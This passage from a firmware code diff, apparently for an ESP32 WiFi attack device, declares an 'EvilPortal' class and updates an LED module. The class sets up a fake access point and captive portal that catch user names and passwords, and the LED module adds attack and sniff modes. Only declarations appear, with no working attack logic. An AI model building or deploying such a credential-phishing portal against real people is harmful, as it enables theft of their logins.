LinkedList<char>* beacon;
|
||||
int rssi;
|
||||
LinkedList<int>* stations;
|
||||
};
|
||||
|
||||
class CaptiveRequestHandler : public AsyncWebHandler {
|
||||
public:
|
||||
CaptiveRequestHandler() {}
|
||||
virtual ~CaptiveRequestHandler() {}
|
||||
|
||||
bool canHandle(AsyncWebServerRequest *request) { return true; }
|
||||
|
||||
void handleRequest(AsyncWebServerRequest *request) {
|
||||
request->send_P(200, "text/html", index_html);
|
||||
}
|
||||
};
|
||||
|
||||
class EvilPortal {
|
||||
|
||||
private:
|
||||
bool runServer;
|
||||
bool name_received;
|
||||
bool password_received;
|
||||
|
||||
String user_name;
|
||||
String password;
|
||||
|
||||
bool has_html;
|
||||
bool has_ap;
|
||||
|
||||
DNSServer dnsServer;
|
||||
|
||||
void (*resetFunction)(void) = 0;
|
||||
|
||||
bool setHtml();
|
||||
bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
|
||||
void setupServer();
|
||||
void startPortal();
|
||||
void startAP();
|
||||
void addLog(String log, int len);
|
||||
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
|
||||
void sendToDisplay(String msg);
|
||||
|
||||
public:
|
||||
EvilPortal();
|
||||
|
||||
String get_user_name();
|
||||
String get_password();
|
||||
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
|
||||
void main(uint8_t scan_mode);
|
||||
|
||||
};
|
||||
|
||||
#endif
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "LedInterface.h"
|
||||
|
||||
LedInterface::LedInterface() {
|
||||
|
||||
|
||||
}
|
||||
|
||||
void LedInterface::RunSetup() {
|
||||
@@ -18,15 +18,64 @@ void LedInterface::RunSetup() {
|
||||
}
|
||||
|
||||
void LedInterface::main(uint32_t currentTime) {
|
||||
if ((!settings_obj.loadSetting<bool>("EnableLED")) ||
|
||||
(this->current_mode == MODE_OFF)) {
|
||||
this->ledOff();
|
||||
return;
|
||||
}
|
||||
|
||||
else if (this->current_mode == MODE_RAINBOW) {
|
||||
this->rainbow();
|
||||
}
|
||||
else if (this->current_mode == MODE_ATTACK) {
|
||||
this->attackLed();
|
||||
}
|
||||
else if (this->current_mode == MODE_SNIFF) {
|
||||
this->sniffLed();
|
||||
}
|
||||
else if (this->current_mode == MODE_CUSTOM) {
|
||||
return;
|
||||
}
|
||||
else {
|
||||
this->ledOff();
|
||||
}
|
||||
};
|
||||
|
||||
void LedInterface::setMode(uint8_t new_mode) {
|
||||
this->current_mode = new_mode;
|
||||
}
|
||||
|
||||
uint8_t LedInterface::getMode() {
|
||||
return this->current_mode;
|
||||
}
|
||||
|
||||
void LedInterface::setColor(int r, int g, int b) {
|
||||
strip.setPixelColor(0, strip.Color(r, g, b));
|
||||
strip.show();
|
||||
}
|
||||
|
||||
void LedInterface::sniffLed() {
|
||||
this->setColor(0, 0, 255);
|
||||
}
|
||||
|
||||
void LedInterface::attackLed() {
|
||||
this->setColor(255, 0, 0);
|
||||
}
|
||||
|
||||
void LedInterface::ledOff() {
|
||||
this->setColor(0, 0, 0);
|
||||
}
|
||||
|
||||
void LedInterface::rainbow() {
|
||||
strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
|
||||
strip.show();
|
||||
|
||||
|
||||
this->current_fade_itter++;
|
||||
|
||||
this->wheel_pos = this->wheel_pos - this->wheel_speed;
|
||||
if (this->wheel_pos < 0)
|
||||
this->wheel_pos = 255;
|
||||
};
|
||||
}
|
||||
|
||||
uint32_t LedInterface::Wheel(byte WheelPos) {
|
||||
WheelPos = 255 - WheelPos;
|
||||
@@ -39,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
|
||||
}
|
||||
WheelPos -= 170;
|
||||
return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user